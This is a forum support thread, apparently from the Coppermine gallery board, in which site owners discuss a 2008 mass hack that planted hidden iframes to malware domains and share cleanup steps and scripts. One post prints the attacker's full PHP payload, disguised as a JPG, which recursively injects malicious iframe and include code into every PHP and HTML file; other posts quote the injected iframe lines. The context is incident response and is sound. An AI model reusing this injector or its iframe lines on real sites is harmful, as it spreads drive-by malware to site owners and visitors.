Given that several people have posted that they have had problems with the new coppermine.inc.php file, what is the recommended procedure to protect myself? Which version(s) of coppermine are compatible with the new file? If I've removed upload.php and update.php from the server, do I still need to take action on coppermine.inc.php or am I protected since they won't be able to do the SQL injection using the upload.php file?
Thanks.
-
Is it wise to wait for version .18 so I won't have to install all kinds op patches?
And can you give me an idea of how long it's gonna take untill .18 is done?
I know it's been worked on but are we talking days, weeks or months?
Thank you.
-
Today.
-
My site was also hacked by this cdpuvbhfzz.com site. If I visited a hacked page am I (or my visitors) at risk of being infected with a virus? Does anyone know exactly what that iframe does? Thanks all.
-
I was using IE 6, and I didn't get any virus warings, only IE crashed when visiting the infected gallery.
Other people claimed that the redirect to the dirty site tried to install a trojan, so better clean up the mess asap and update to 1.4.18 now!
-
I was hacked and the easiest way I found to deal with it was as follows.
Firstly upgrade to the latest version if you have not done so as per normal instructions. I then checked all files and folders and found the ones where the date was different. I was hacked on 9th April it seems. I found the files changed on that date etc and any that did not match the newly downloaded files were either removed or the offending code deleted. Check your anycontent.php - includes/config.inc.php and also your album folders also.
I then checked the files and folders online against a local copy so make sure there were no mystery additions. Seems to have done the trick.
Hope it helps some of you?
-
My site was also hacked by this cdpuvbhfzz.com site. If I visited a hacked page am I (or my visitors) at risk of being infected with a virus? Does anyone know exactly what that iframe does? Thanks all.
Well on my PC my Anti Virus picked up that it was trying to install a trojan on to the computer. This was only apparent when I tried opening the site in IE7. I only did that after odd text appeared on the page when displayed in FF.
-
The temp build of the coppermine.inc file work okay for me (I just overwrote the 4.1.7 file and it's not displayed any errors that I've seen). I have seen some Fatal Error: messages, however this tends to be my host playing up. So far all I've done is upgrade to 4.1.7 attempted to remove all traces of the .Zip/.Jpg exploit files and tried inserting PHP.ini files to turn of register_globals.
In terms of the effects on browsers. Firefox and IE6 appear to handle infected pages okay (to the extent that they may not even show that they're making calls to the cdpuvbhfzz domain). IE 7 seems to crash when infected pages are encountered though this may be influenced by the type of anti virus software installed (McAfee appears to warn when infected pages are visited).
-
There is no such thing as coppermine v4.1.7. More accuracy please.
tried inserting PHP.ini files to turn of register_globals.
Ask your webhost to turn that silly and dangerous setting off server-wide.
As Nibbler suggested: cpg1.4.18 has been relased today. Everybody calm down and upgrade.
-
Have removed/overwritten everything which changed on the 9th (when my site was hit) including the 'JPG' file. Installed 1.4.18 (thanks guys for coming up with this so quickly - much appreciated). Set the config back to what it should be, and hopefully restored the gallery to normal working minus whatever the vulnerability was. The only remaining niggle is that I keep seeing messages here saying, 'it's not sufficient to update, you have to santitize the site'. But when I search for instructions as to how to do so, I draw a blank. If it involves something other than the above, a link would be welcome. Thanks again.
-
UGHHHHHH!!!! Ok this nightmare is continuing - last week someone hacked into a bunch of sites at one of my hosts- the issues w/ the config being all messed up or the re-directing via the uploaded file; she restored everybody's sites and we all upgraded to the .16 then the .17 releases and all is ok... for the time being and I leave for Boston for the weekend hoping all is well;
Now I get back from the funeral and my co-web on another set of sites tells me after what happened on the first host she upgraded ALL of our sites on our purchased hosting (seperate servers) to the .17 release to be sure nothing happened to them; then today each and every one of them was hacked into!!!! Then she e-mails me stating that a .18 version was released and it has some major security issues so she doesn't want to load that but the .17 release apparently must have had the same issues or similiar as each and every site we have running that version is now hacked and pointing to this stupid cdpuv website; this is such a mess to clean up and of course the paid hosting doesn't have auto backups so we are totally S.O.L!! Luckily these sites were just getting launched so to start over is not going to kill us and she is talking to the host to see what they can do.
I am posting this for 2 reasons.....
#1 apparently this attack got into our CPANEL and effected each site hosted on that account (even toasted our wordpress blogs) so any of you being hacked watch out and restore asap before other sites on your servers are effected and you lose everything
#2 I have been reading through the posts to see what resolution will be or if it has been figured out yet where the issue is and when it will be fixed but everything seems so sporatic as some people have this mod or that mod, etc it seems the issue is in CPG to me as that is really what we all have in common and as far as the URI uploads (uploading via a URL) my first host indicated those have been disabled on her servers for years now so she didn't think that was how the attacks were happening. What else can we do to prevent this from happening again; anyone had any luck taking the gallery offline for the time being or removing the links on our sites to the gallery or are they just doing a general search for "powered by coppermine" or something like that. Basically I want to do whatever I can to hide my galleries for the next few days/ weeks even if they need to go offline.
Thanks for ANY direction any of you can give -
-
Basically I want to do whatever I can to hide my galleries for the next few days/ weeks even if they need to go offline.
There has been no indications or rumors that there is additional immediate vulnerabilities beyond what was closed in the 1.4.18 security release. Upgrade, sanitize, and cross your fingers...
-Tim
-
No need to go paranoid people ;)
As Tim says. Update to 1.4.18 and you should be fine.
Kudos to Nibbler
-
Can someone provide some clear instructions on how to sanitize your site?
From what I can gather this exploit went after the config and template files for Coppermine and Simplemachine forums. I've checked my site and removed the upload and update files, removed the files uploaded by the exploit and removed and replaced the template and config files with backups. Is there anything else I need to do?
-
There has been no indications or rumors that there is additional immediate vulnerabilities beyond what was closed in the 1.4.18 security release. Upgrade, sanitize, and cross your fingers...
-Tim
No need to go paranoid people ;)
As Tim says. Update to 1.4.18 and you should be fine.
Kudos to Nibbler
Thanks guys for the advice... LOL I agree I went into a panic this morning when I saw it hit all of my sites; but believe I understand where they (moddys) are coming from in wanting to get it right to fix it; I work w/ a software company and I know we can't get our developers to fix anything if we can't tell them where its broken- no need to look through 10,000+ lines of code it would take them ages; so yes I totally understand and appreciate what the developers of cpg are trying to do here and only get valid info...... problem is those of us that are not coders don't know the difference and I knwo they can't teach us what is and what isn't LOL - but I am thinking the update.php may be part of it after re-reading the multiple pages in this thread if that how the attack originally gets the table names....
I can't get into my ftp or run the new upgrade until I am at home later tonight but here is what I am finding (sorry no logs or anything on this to support it just what I have seen and I apologize if its useless info but if it helps anyone I consider it worth posting so advance apologies to the moddys if this is indeed useless info)
Here is the bit of code I found that I am removing now (it is in every single php file in cpg and outside from what I am seeing)
<?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>
So those of you that don't know what to do:
#1 ask your host to restore your entire website it is the safest and best way to be sure all malicious code is gone OR if you do not have backups then unfortunately you are like me and will have to salvage what you can start looking at the php files in cpg and if its the same type of attack look for a line of code like what I posted above; mine were located at the very end of the php file after all coppermine code- just be sure not to delete anythign else you don't know what it is
#2 upgrade your galleries to the latest release (.18 is it I think)
#3 Be sure you do not give more access to your files than you need to; I have a bad habit of chmodding to 777 when I upload file batches and I forget to set it back when I am done to 644 or 755
*** I say this because chances are thats how this loser was able to get in my sites was because of my own stupidity with the permissions- interestingly enough ALL of our sites on Windows servers have not been effected by this hacker as chmod is a unix command and permissions are set manually in the OS with Windows instead of through FTP like on a unix/ apache server - for once in my life I am seeing Windows be the safer option which I find unbelievable but it explains alot (IMHO) as I know how hosting via Windows works and all permissions are preset and not changeable via the ftp
-
Hi,
I make a php file that can sanitize the addition data from php & html file that infected with iframe things. I create it to use on one of my working site but I think release it will help more people. The script is simple, just check current folder and all sub folder for .php & .html, loop to find infect string in those files and then remove it. Anyway, use it with own will, I will not take any responsibility if you damage your site when using it.
I attach the file with this post, download and rename it to cure.php, upload to your site & run it.
update: change some function to make the cure script run successful in more case.
update: add new url for download http://kak.amfcvn.net/files/cure.txt (http://kak.amfcvn.net/files/cure.txt)
-
Thanks for sharing your script.
-
Here is the bit of code I found that I am removing now (it is in every single php file in cpg and outside from what I am seeing)
That's strange. I only found it added to the template and config files. Once I removed it from there it doesn't show up on any of my pages (as far as I can tell, by viewing the source). Could it be that the exploit was used in different ways?
I'll go through my cpg files to double check.
-
Hi guys -
being mildly annoyed by the fact that my web site was taken down and it would seem at least one computer rendered unusable by the stuff that was downloaded from the redirection (I'll post again if I ever get it repaired - it keeps running iexplore.exe svchost.exe and crashing)
I reported the cdpuvbhfzz to my local authorities (I'm in Switzerland).
Maybe you could all do the same in your countries. It probably doesn't do much good, might it might make you feel a little better.
The replies weren't very helpful, but rather than shouting at each other, better to light a candle than complain about the darkness, as I'm sure someone must have said.
>Many thanks for your query with the Reporting and Analysis Centre for Information Assurance (MELANI) of the Swiss Federal Police.
They went on to say it was my own fault for not keeping my web site updated, but at least they looked at it.
>We are happy to let you know that Cybercrime Coordination Unit Switzerland (CYCO) has received your message
> thank you for your cooperation. CYCO will verify your announcement, undertake the necessary steps and, where appropriate, contact you again.
-
That's strange. I only found it added to the template and config files. Once I removed it from there it doesn't show up on any of my pages (as far as I can tell, by viewing the source). Could it be that the exploit was used in different ways?
I'll go through my cpg files to double check.
The malicious code can only be added to files that have permissions set to be writable. The people with the biggest problems are those who had their entire site writable, so many more files were infected.
-
The malicious code can only be added to files that have permissions set to be writable. The people with the biggest problems are those who had their entire site writable, so many more files were infected.
Ah, that explains it. Would it be a good idea to change the permissions for the theme folder to exlude write permission? Would it cause any problems with Coppermine?
-
The only things that need to be writable are those mentioned in the docs - albums directory + subdirectories and the include dir (during installation only). Everything else should be read only.
-
A little shell (/bin/sh) script to clean up that... Not better than capecodgal's one but very simple to use if you have shell access or /bin/sh cgi capabilities.
Use it on your web's root.
-
As suggested I have tried to come up with an article that explains how to thoroughly sanitize your hacked coppermine-driven site. I have started a thread named "Yikes, I've been hacked! Now what? (http://forum.coppermine-gallery.net/index.php/topic,51927.0.html)" and locked it on posting to avoid it from getting cluttered similarly to this one. HTH
Joachim
-
Awesome :)
-
Woaw Joachim great work, Thank's for this awesome job. (i'll see to translate this for the french board)
-
As suggested I have tried to come up with an article that explains how to thoroughly sanitize your hacked coppermine-driven site. I have started a thread named "Yikes, I've been hacked! Now what? (http://forum.coppermine-gallery.net/index.php/topic,51927.0.html)" and locked it on posting to avoid it from getting cluttered similarly to this one. HTH
Joachim
THANK YOU very much for all of your hard work - it is much appreciated Gau Gau ;D
-
As suggested I have tried to come up with an article that explains how to thoroughly sanitize your hacked coppermine-driven site.
Great stuff.
-
Is update.php admin only?
I'm 99% sure that I've upgrade one gallery to 1.4.16 without logging in
-
Joachim: Thanks so much for this - you're a hero :)
Nibbler: And thanks to you for the work on v1.4.18
-
WoWWoar !
Joachim Terrible ;D
Like Thu's cats, you have seven lives, 7 heads, 7 keyboards ;D
@François
About our Fr Board, you'll start and i'll finish ? ;)
PYAP
-
Is update.php needed for any purpose except for running once after an upgrade?
If not it would seem logical to delete after running once after upgrade as it seemed to play a role in attack.
Thoughts?
-
I hope this is the right place to post the question. I have ran the update and the Trojan seems to be removed, but my thumbnails are still messed up. I checked my configuration and the settings are right. What is the problem, then? Thanks!
-
I hope this is the right place to post the question. I have ran the update and the Trojan seems to be removed, but my thumbnails are still messed up. I checked my configuration and the settings are right. What is the problem, then? Thanks!
If you look carefully you'll almost certainly find that the hacker has changed your config settings. Log in and change them back to however you want them. Look particularly at the Album List View and Thumbnail View areas. Also if you are using a template with the filmstrip enabled then you will need to adjust that from the Image View section.
Best wishes, G
-
Is update.php needed for any purpose except for running once after an upgrade?
If not it would seem logical to delete after running once after upgrade as it seemed to play a role in attack.
Thoughts?
I deleted mine. You get a new one when you upgrade. Also according to Nibbler in an earlier post, the update.php included in version 1.5 will be admin only anyway.
Best wishes, G.
-
Hi everyone, I'm no super expert, so please don't jump on me if I do happen to be wrong. I also did read more than half the entire thread so give me credit for that in case I say something that has already been said.
A lot of you are way off on how this happened, and how to prevent it from happening.
I have some sites that were affected by this that don't even run php, let alone Coppermine.
One site that was affected runs with jus html and flash.
So upgrading your coppermine, deleting certain file, making sure your permissions are correct, won't help you from it happening again. Because none of that, that was suggested applies to most of my sites, I have only a few that run CPG.
Now this is where I could be wrong (this is just my educated opinion), the problem is with the host, possibly just shared hosts (has anyone on a server that they physically maintain been hit? Mine haven't). Possibly only linux or apache hosts as well, has anyone been hit running windows and/or IIS? Mine wasn't. Last a hole in cpanel or other similar shared server apps? The reason I say this is, every single php, html, htm file on my shared hosts were hit, a lot of them had the correct permissions via individual file/directory permissions or with .htaccess blanket permissions, therefore it would not be possible for a single file or script to cause all that damage.
So to fix it, best bet is to restore your site, your database should be fine. If you don't have a backup, download your entire site to your computer, get Notepad++, perform 'search & replace' on 'all open files' until the iframe tag has been removed from all your files. Prevent it from happening, your guess is as good as mine, change your cpanel and ftp passwords, get on your host maybe. Since a good administrator always has fault tolerance and disaster recovery in mind.. If you can't prevent it make sure your ready to recover, keep backing up, and be ready to restore until this has been fixed.
-
Hi,
I make a php file that can sanitize the addition data from php & html file that infected with iframe things. I create it to use on one of my working site but I think release it will help more people. The script is simple, just check current folder and all sub folder for .php & .html, loop to find infect string in those files and then remove it. Anyway, use it with own will, I will not take any responsibility if you damage your site when using it.
I attach the file with this post, download and rename it to cure.php, upload to your site & run it.
Is the file you have posted incomplete? It doesn't close out the last function command on line 76?
-
If you look carefully you'll almost certainly find that the hacker has changed your config settings. Log in and change them back to however you want them. Look particularly at the Album List View and Thumbnail View areas. Also if you are using a template with the filmstrip enabled then you will need to adjust that from the Image View section.
Best wishes, G
Thanks, I've fixed it. Now I'm having problems with creating intermediate new photos when I upload. They aren't showing up. The old photos are, however. I have yes checked in the configuration. What's the problem? Again, sorry if this is the wrong place to post...
-
Please download & have a change to look at cure.txt file & you will find that perfect fine. Also it have 80 lines in this file.
Is the file you have posted incomplete? It doesn't close out the last function command on line 76?
-
Again, sorry if this is the wrong place to post...
It is the wrong place.
I have some sites that were affected by this that don't even run php, let alone Coppermine.
That sounds hard to believe. You might suffer from a traversal attack - make sure that the HTML-only sites are shielded properly against the other sites (domains) that are hosted on the same server.
So to fix it, best bet is to restore your site, your database should be fine. If you don't have a backup, download your entire site to your computer, get Notepad++, perform 'search & replace' on 'all open files' until the iframe tag has been removed from all your files.
Hm, that sounds pretty time-consuming. To replace identical elements in multiple files, use the freeware Replace in Files (http://www.emurasoft.com/replall/)
I deleted mine. You get a new one when you upgrade. Also according to Nibbler in an earlier post, the update.php included in version 1.5 will be admin only anyway.
You're safe to delete update.php if you don't need it. As suggested ealier, the file could have been used to determine the table prefix that was needed for the attacker to perform the attack. That's why the file will be admin-only in cpg1.5.x. However, don't expect cpg1.5.x that soon, so you should take care of cpg1.4.x first.
-
It is perfectly possible for the php compromise in Coppermine to affect all sites in a shared hosting account, for example the way hostgator is set up by default the injected script can write to all the files in public_html regardless of the domain they belong to if the other domains are in the same public_html folder, as I know to my cost. I am currently waiting for HG to suggest a solution/lockdown, but I am not holding my breath.
Jane ( creeping away in case she gets in trouble)
-
Hi everyone -
in case it helps anyone, what I did was download all my files to a working directory (using FileZilla).
Luckily I don't have all that many files. I then used UltraEdit to do a <find in files> on the local copy for the hack string iframe or &#.
I found one jpg extension file with the php code. I then looked on the server for the file and made a note of the date it was created.
I then looked through all the server directory with FileZilla to identify all the files that had been changed on or after that date.
As I had locked the site down the day after the attack, there were no valid files changed, so I could see what had been infected.
(I Haven't actually upgraded yet - my site is still down , so I can't swear I got everything, but it seems that the attack took place on one specific time.)
Secondly, one of my computers got a trojan/virus from the redirect site, which was very difficult to get rid of.
It was an old computer using internet explorer, although it did have windows automatic updates activated.
(My main computer running Opera wasn't affected.)
ZoneAlarm found and quarantined lots of nasties, but when I rebooted, I still had copies of iexplore.exe being run in the background, and lots of svchost.exe being run, (Visible in the Task Manager) slowing down internet access and eventually causing errors and forcing a reboot.
I tried running various other tools (Spy Bot, AdAware) and used the Windows repair disk, but to no avail - still iexplore.exe starting in background
I then ran Hijack This, and removed everything that I didn't recognise. I also removed all files from the windows program files directory I didn't recognise. It seems that I don't recognise Windows system files, because the computer wouldn't reboot, and so I had to do a new install.
Followed by reinstall and update Zone Alarm. Followed by install Service Pack 2, which Zone Alarm seemed to think was a virus and so I had to disable Zone Alrm during SP2 install. Followed by Windows Updater. And so on - you get the picture.
Since then the system seems to be clean - at least no more iexplore starting.
So, if you have been redirected to the hacking site with IE, I suggest you check that you don't have any unwanted iexplore.exe running and presumably sending data to some Russina mafia site ...
And if you do find something - take the time to find out which potential threats are part of the Windows OS and which are viruses that need to be removed, otherwise it is a l o n g process to reinstall Windows!
Finally, thanks to everyone who is helping out here - I really appreciate this forum!
-
Now this is where I could be wrong (this is just my educated opinion), the problem is with the host, possibly just shared hosts (has anyone on a server that they physically maintain been hit? Mine haven't). Possibly only linux or apache hosts as well, has anyone been hit running windows and/or IIS? Mine wasn't. Last a hole in cpanel or other similar shared server apps? The reason I say this is, every single php, html, htm file on my shared hosts were hit, a lot of them had the correct permissions via individual file/directory permissions or with .htaccess blanket permissions, therefore it would not be possible for a single file or script to cause all that damage.
Thats kind of along the lines of what I am thinking as well - we run CPG on EVERY site we have on various servers. On host (#1) I believe it is Linux/ Apache and shared hosting for sure- it seems it spread through the server to other sites on it (this host just restored us all so I never saw what the actual hack was if it was the same iframe script or not; but I do know my one site there had the config messed w/ in cpg as my thumbs were all out of whack). Then on host (#2) we did not have any attacks - this is a Windows server which is hosting via IIS and everything is fine and dandy - then on host (#3) we got hit bad.... this was a paid acct w/ alot of storage so we had started about 10 sites running on the shared hosting on that acocunt- each and every sub domain was hit w/ the attack; it looks like it got into one and then spread to all the others... now on this particular attack my co-web noticed they got into our cpanel and messed that all up too. Its hard to say as I know the permissions were not right on that server (I know I had alot of things set w/ access that didn't need it which was my own fault) but I really think you are onto something that this may not have been an attack on cpg but rather on the OS or the cpanel level instead.
Either way I know I am pushing it as this is not the place for that discussion but I really am starting to believe it isn't just a CPG issue; its just seemed to be what all the sites had in common until I started noticing the OS being a probability as well. I think alot of people just assumed it was cpg that had the hole as that was where it all seemed to start up.
Either way kudos to Gau Gau, Nibbler and the rest of the cpg crew for all their hard work on trying keep the peace and putting up with our panic for the past few weeks.
-
The hole we fixed is one we know was used to infect a gallery with this malware. It's likely other apps can be exploited in different ways to inject the same malware.
-
Hi from France,
I got hacked on all my web sites. Php files had been replaced and I wonder how hackers got my ftp passwords ...
I'm using spip, dotclear ang CPG.
This is the way I solved the problem.
As only php files were corrupted, I changed the properties of folders and files to : read, execute BUT NOT WRITE. for all php files.
For CPG, the custom header file is the favorite target for hackers.
For Dotclear it's the template.php file.
I would be interested to know how somebody can override the ftp passwords.
The best way to keep a web site clean is to keep an local image of the whole site to be abble to replace all the corrupted files easilly.
I changed the attributes of a folder to allow writing and it took only 50 minutes for a hacker to corrupt my template.php files.
Philippe
-
FTP is not involved.
-
Htgguy,
My sites have been hacked too with the same code and I am working my way trying go recover them, but a few things that might help others who find this posts as it comes up first in Goolge.
1. The hack is not specific to Coppermine, it simply updates every .php and .html file with its iframe code.
The hack IS specific to Coppermine in that php script that was executed that added the iframe() tag to your web pages at least in my site was uploaded
through Coppermine. That's not to say there aren't other PHP applications out there with similar vulnerabilities, but this particular exploit exploited Coppermine.
-
Hi,
My website has been hacked too. The hacker uploaded somehow "45563131x.jpg" file (this is a php file, not an image!) to the "~/coppermine/albums/userpics/10001" folder.
I am using coppermine 1.4.10, Linux shared web hosting at GoDaddy, MySQL 4.1, PHP 4.3.11. I don't have access to my logs >:(
Follow 45563131x.jpg content file:
<?php
//sorry
if (!defined("XSssUI")) {
define("XSssUI", true);
echo "<iframe src='http://ccfelomvhk.com/dl/adv542.php' width=1 height=1></iframe>";
function fileExtension($file) {
$fileExp = explode('.', $file);
$filetype = $fileExp[count($fileExp)-1];
return $filetype;
}
function parse($path, $pathx) {
$pg = "<iframe src=\"http://cdpuvbhfzz.com/dl/adv598.php\" width=1 height=1></iframe>";
$xm = "<?php echo '<iframe src=\"http://cdpuvbhfzz.com/dl/adv598.php\" width=1 height=1></iframe>'; ?>";
$gg = "<iframe src='http://ccfelomvhk.com/dl/adv542.php' width=1 height=1></iframe>";
$nm = '<?php
include("'.$pathx.'");
?>';
$fm = '<?php
ini_set("register_globals", true);
if($GLOBALS["fx"]==0) {
$GLOBALS["fx"]=1;
echo "'.$gg.'";
}
?>';
$dir_array = array();
if($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if($file != "." && $file != "..") {
$try_dir = $path.$file.'/';
if(is_dir($try_dir)) {
array_push($dir_array, $try_dir);
}
else {
if ($path[strlen($path)-1] != '/') {
$path.= '/';
}
$f_ext = fileExtension($file);
if($f_ext=="php" || $f_ext=="html" || $f_ext=="htm") {
if($file!="debugger.inc.php") {
$fhandle = fopen($path.$file, 'r+');
if($f_ext=="php") {
chmod($path.$file,0777);
$oc = fread($fhandle, filesize($path.$file));
fclose($fhandle);
$oc = str_replace($xm, '', $oc);
$oc = str_replace($fm , '', $oc);
$oc = str_replace($nm , '', $oc);
$fhandle2 = fopen($path.$file, 'w+');
fwrite($fhandle2, $oc.$nm);
fclose($fhandle2);
}
else {
chmod($path.$file,0777);
$oc = fread($fhandle, filesize($path.$file));
fclose($fhandle);
$oc = str_replace($pg, '', $oc);
$oc = str_replace($gg, '', $oc);
$fhandle2 = fopen($path.$file, 'w+');
fwrite($fhandle2, $oc.$gg);
fclose($fhandle2);
}
}
}
}
}
}
closedir($handle);
}
return $dir_array;
}
function launch($pathx) {
$total = 0;
$last = 1;
$last_num = 0;
$path = $_SERVER['DOCUMENT_ROOT'];
$dirs = array();
array_push($dirs, $path);
while($last) {
$last_num = 0;
for( $j=$total; $j<$total+$last; $j++) {
$temp_dirs = parse($dirs[$j], getcwd().'/'.$pathx);
$last_t = sizeof($temp_dirs);
$last_num += $last_t;
for( $i=0; $i<$last_t; $i++) {
array_push($dirs, $temp_dirs[$i]);
}
}
$total += $last;
$last = $last_num;
}
$paths = getcwd().'/albums/userpics/10001/123213x';
if(!is_file($paths.'.jpg')) {
if(copy($paths.'.zip', $paths.'.jpg')) {
echo "@#$%";
}
}
}
if(isset($_GET['ff']) && isset($_GET['path'])) {
echo "~!";
launch($_GET['path']);
}
}
?>
-
update to the 1.4.18 version (your running 1.4.10) and clean up your files (read this post http://forum.coppermine-gallery.net/index.php/topic,51927.msg251808.html#msg251808 (http://forum.coppermine-gallery.net/index.php/topic,51927.msg251808.html#msg251808))
next time, search the board ;)
-
Thanks a lot ;)
-
Sorry but have to say me too. I had a test version of coppermine that I spaced out on ever updating and that is where the naughty jpg is hiding. :-[
This exploit went way outside of my cpg install and changed every single php file (1000s) of my website.
My post is two fold, one I wanted to thank Gau Gau for your tutorial post and to the others in this thread for your quick response to this and offering up some solutions.
Also I am puzzled by this:
Some information on the domain itself.
http://whois.domaintools.com/cdpuvbhfzz.com
Interesting whois record.
Is it really that easy to see who created this exploit? Justice?
-
The guy who owns the domain may or may not be the creator of the hack. The whois record shows who owns the domain, nothing more, nothing less. You can't prove anything with that - if you sue him, the guy will claim that the hacker has redirected your site to his domain and that he The owner of cdpuvbhfzz.com) was not aware of that. Try to prove him wrong - you can't. The only thing you could actually do is try to figure out how this guy makes a living. Once you figured out, try to alert his business partners of his reputation. If they don't care, you're probably stuck, so the only thing you could probably do are illegal things (DDOS attacks against his server and such stuff), which would bring you on the same level with the moron who performed the attack. This is something I wouldn't even consider. Sometimes, it makes me angry what some people do on the internet, and I would love to visit them and beat them up. But then, this is of course a childish fantasy that would not help at all (and one that would get me into serious troubles), so it's not an option neither.
So what are we going to do against the jerk who triggered the attacks? I'll tell you: nothing. There is nothing we can do. I'm not willing to even think about possible actions against that jerk - he's a low-life moron, an insect, a parasite. I pity him - what a poor method to make a living.
My website has been hacked too. The hacker uploaded somehow "45563131x.jpg" file (this is a php file, not an image!) to the "~/coppermine/albums/userpics/10001" folder.
see my instructions:- Zip archives or jpeg files are not harmful by themselves on the server, as they can not be executed on the server (at least if the server is configured properly). This being said, it doesn't hurt if a malevolent user manages to upload a file named "I_am_evil.jpg" to your webserver that actually isn't a jpeg image, but just a plain text PHP-file that contains malicious code that he renamed from I_am_evil.php to I_am_evil.jpg on his client before uploading it. Without the corresponding configuration, such a file can not do harm. However, it's a trick hackers frequently use to disguise their payload files from the eye of the legitimate site owner: if they manage to break your site's security by modifying an existing PHP file, they can inject code into that PHP file that uses PHP's include command to actually execute the code within I_am_evil.jpg.
Let me give you an example: there is a legitimate PHP file http://your_site.tld/coppermine/upload.php - if an attacker manages to manipulate that file and add a code line like this: include('albums/userpics/100023/picture.jpg'); and then manages to upload the malicious file http://your_site.tld/coppermine/albums/userpics/100023/picture.jpg to your server that actually isn't a jpeg file, but a script file in disguise, the payload contained in that file will be executed. If you manage to sanitize the file http://your_site.tld/coppermine/upload.php (e.g. remove the offending include line), the malicious jpeg file can no longer do harm, so it won't hurt if it is still a leftover from the attack. The same trick can be used by attackers to disguise their payload in all other files that might look innocent (like zip files or similar).
-
Hi all
As many more sites lately, mine was hacked aswell. It was more or less same MO, but seems that i was "lucky" compared to others (no db changes, no hidden php in zips or jpgs), only 3 files was changed from what i have found, displayimage.php, index.php and thumbnails.php, though i 've found in plugins folder a script, i attached it so the devs can find more usefull info on this matter. Hope this helps...
Regards
-
Upss.. forgot to mention: this time domain was other, caatadgouk.com, but still same Ukrtelegroup Ltd that was mention somewhere in this thread...
<iframe src="http://caatadgouk.com/dl/adv436.php" width=1 height=1></iframe>
-
Shame I missed the script! Would have saved me some work I suspect.
Coppermine and a SMF forum were hit.
I Downloaded the forum to my PC and cleaned it with a rough & ready VB program as no upgrade available.
I upgraded Coppermine to .16 removed zip files etc. and about to go to .18 however....
All of my intermediate pictures appear to have vanished! Replaced with "Click to view full size image" button :o
The thumbnail and full size image still exist. I assume it was caused by the hack? Is there a fix for this please?
-
PS
Create intermediate pictures
is/was set
-
Joachim Müller, thank a lot for your explanation.
Alex Webs.
-
Check the size of intermediate images in config. The hack sometimes sets it to 1px.
-
Size still set to 600px
Can I find the pics to see if they exist?
if not can I force them to be created, if they do, how can I reference them?
-
Rebuild them in admin tools. If that doesn't work then start a new thread.
-
...I attach the file with this post, download and rename it to cure.php, upload to your site & run it.
last update: change some function to make the cure script run successful in more case.
I want to use this script, but sorry it doesn't work.
I get the following message:
"""Parse error: syntax error, unexpected $end in /homepages/xx/yyyyyyyyy/htdocs/cure.php on line 93"""
-
I read thru most of these Replies. I first found I had a problem cause my Config for the main page changed dramatically as well as I saw a Zip file in one of my albums. I deleted this ZIP file, which could have been a PHP file. My first thought was that someone Bruteforced my Gallery and got my password. I changed my password only to find that the next day my Main page was out of wack again. In the "show how many albums, rows, etc everything was changed to "1". Also after reading these replies I found that my "path to custom header include" was directing to "albums/userpics/10001/45563131x.jpg" which is incorrect as I dont use a custom header that way.
My gallery is OFFLINE and in Debug mode. I will be upgrading from 1416 to the latest asap.
-gerrit
-
Setting it offline won't stop anything, neither will debug mode.
-
Hi Nibbler, Thanks for letting me know. I did disable the URI, but because this thread is soo huge I am sure I missed alot of fixes. Any chance for a Sticky on Precautions to take with this Problem.
BTW: Anyone else have problems outside of CPG and forum and blog setups? I noticed that my Main page also has a Script which is detected with Windows Live one Care as "html exploit".
I have contacted my Host for help but am also looking for Solutions.
Thanks...
-gerrit
-
There are no precautions. You can use the new copy of bridge/coppermine.inc.php mentioned in the announcement post to patch your gallery though (will probably work on any 1.4.x). The hack that's in the wild will spread to all php/html files you made writeable in your webspace/webserver.
-
Anyone answer whether or not the "Yikes my site has been hacked thread" was posted prior to 1418? Reason I ask is that I am under the impression that upgrading to this latest release fixes the exploit, yet all other php files on the webhost are still needed to be fixed? The Exploit alone is only driven thru CPG correct? Thus eliminating Older versions by Upgrading to the latest version will end the Problem, yet infected php pages outside of CPG still need to be cleaned?
Thanks.
-
The "Yikes, I've been hacked! Now what? (http://forum.coppermine-gallery.net/index.php/topic,51927.0.html)" thread has been written on 2008-04-15. As it contains reference to cpg1.4.18, it must have been written after the release of cpg1.4.18, don't you agree? The announcement thread for cpg1.4.18 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html) has been written on 2008-04-14.
Anyway, the "Yikes" thread is generic: it explains what you need to do to sanitize your gallery no matter what - it does not only apply for the cdpuvbhfzz.com hack, but for others as well that may come after it and that might exploit the same vulnerability that existed in all cpg1.4.x versions before cpg1.4.18. That's why it doesn't contain reference to the attack pattern of the cdpuvbhfzz.com-hack (the iframes trick) - the pattern (payload) may differ in future exploits of the pre-cpg1.4.18 vulnerability.
Don't believe what non-experts on this thread said or suggested: after all, they are no experts and their suggestions are just speculation. Believe us (the coppermine dev team members, particularly Nibbler, who spotted and fixed the vulnerability).
To make this absolutely clear: there is absolutely nothing that you can do that makes it acceptable to delay the upgrade to cpg1.4.18 and the sanitization discussed in "Yikes". Your gallery will be vulnerable if you don't upgrade, no matter wether you allow URI uploads, no matter if you're the only user on your gallery or not, no matter whether your gallery is public or private, no matter wether you enabled debug_mode, no matter wether you set your gallery to offline mode. The exploit will not play by the rules and respect permissions. It's up to you all (infected or not) to fix your gallery now! I have little sympathy for people who are aware that the hack is in the wild and that their gallery is outdated, yet they fail to upgrade. Repeat: perform the upgrade. Do so now; "now" as in "today", this very moment, immediately.
Joachim
-
Ok i have had this hit my server (not keeping up with updates ftl)... and wrote a script that goes through and corrects all of your files.
step 1) make a text file with the exact text of the code you want removed (those few lines of php code at the bottom of every php page) - call it say badcode.txt. save it on the root of your web server.
step 2) make a php file, say named fixit.php
i threw this as the code:
<pre>
Fixit MMMMM
<?php
$badcode = file_get_contents("badcode.txt");
function parse_dir($dir)
{
global $badcode;
if ($handle = opendir($dir))
{
while (false !== ($file = readdir($handle)))
{
if (is_dir($file) == false)
{
$fn = explode(".",$file);
if ($fn[sizeof($fn)-1] == "php")
{
$filename = $dir."/".$file;
// good, parse it.
print("Attempting fix on $filename ........");
$badfile = file_get_contents($filename);
$isitbad = strpos($badfile,$badcode);
if ($isitbad == 0)
{
print("Fix not required.\n");
}
else
{
$goodfile = str_replace($badcode,"",$badfile);
if (file_put_contents($filename,$goodfile))
print("OK<br>");
else
print("Nope.<br>");
}
}
}
if (($file != ".") and ($file != "..") and is_dir($dir."/".$file))
parse_dir($dir."/".$file);
}
closedir($handle);
}
}
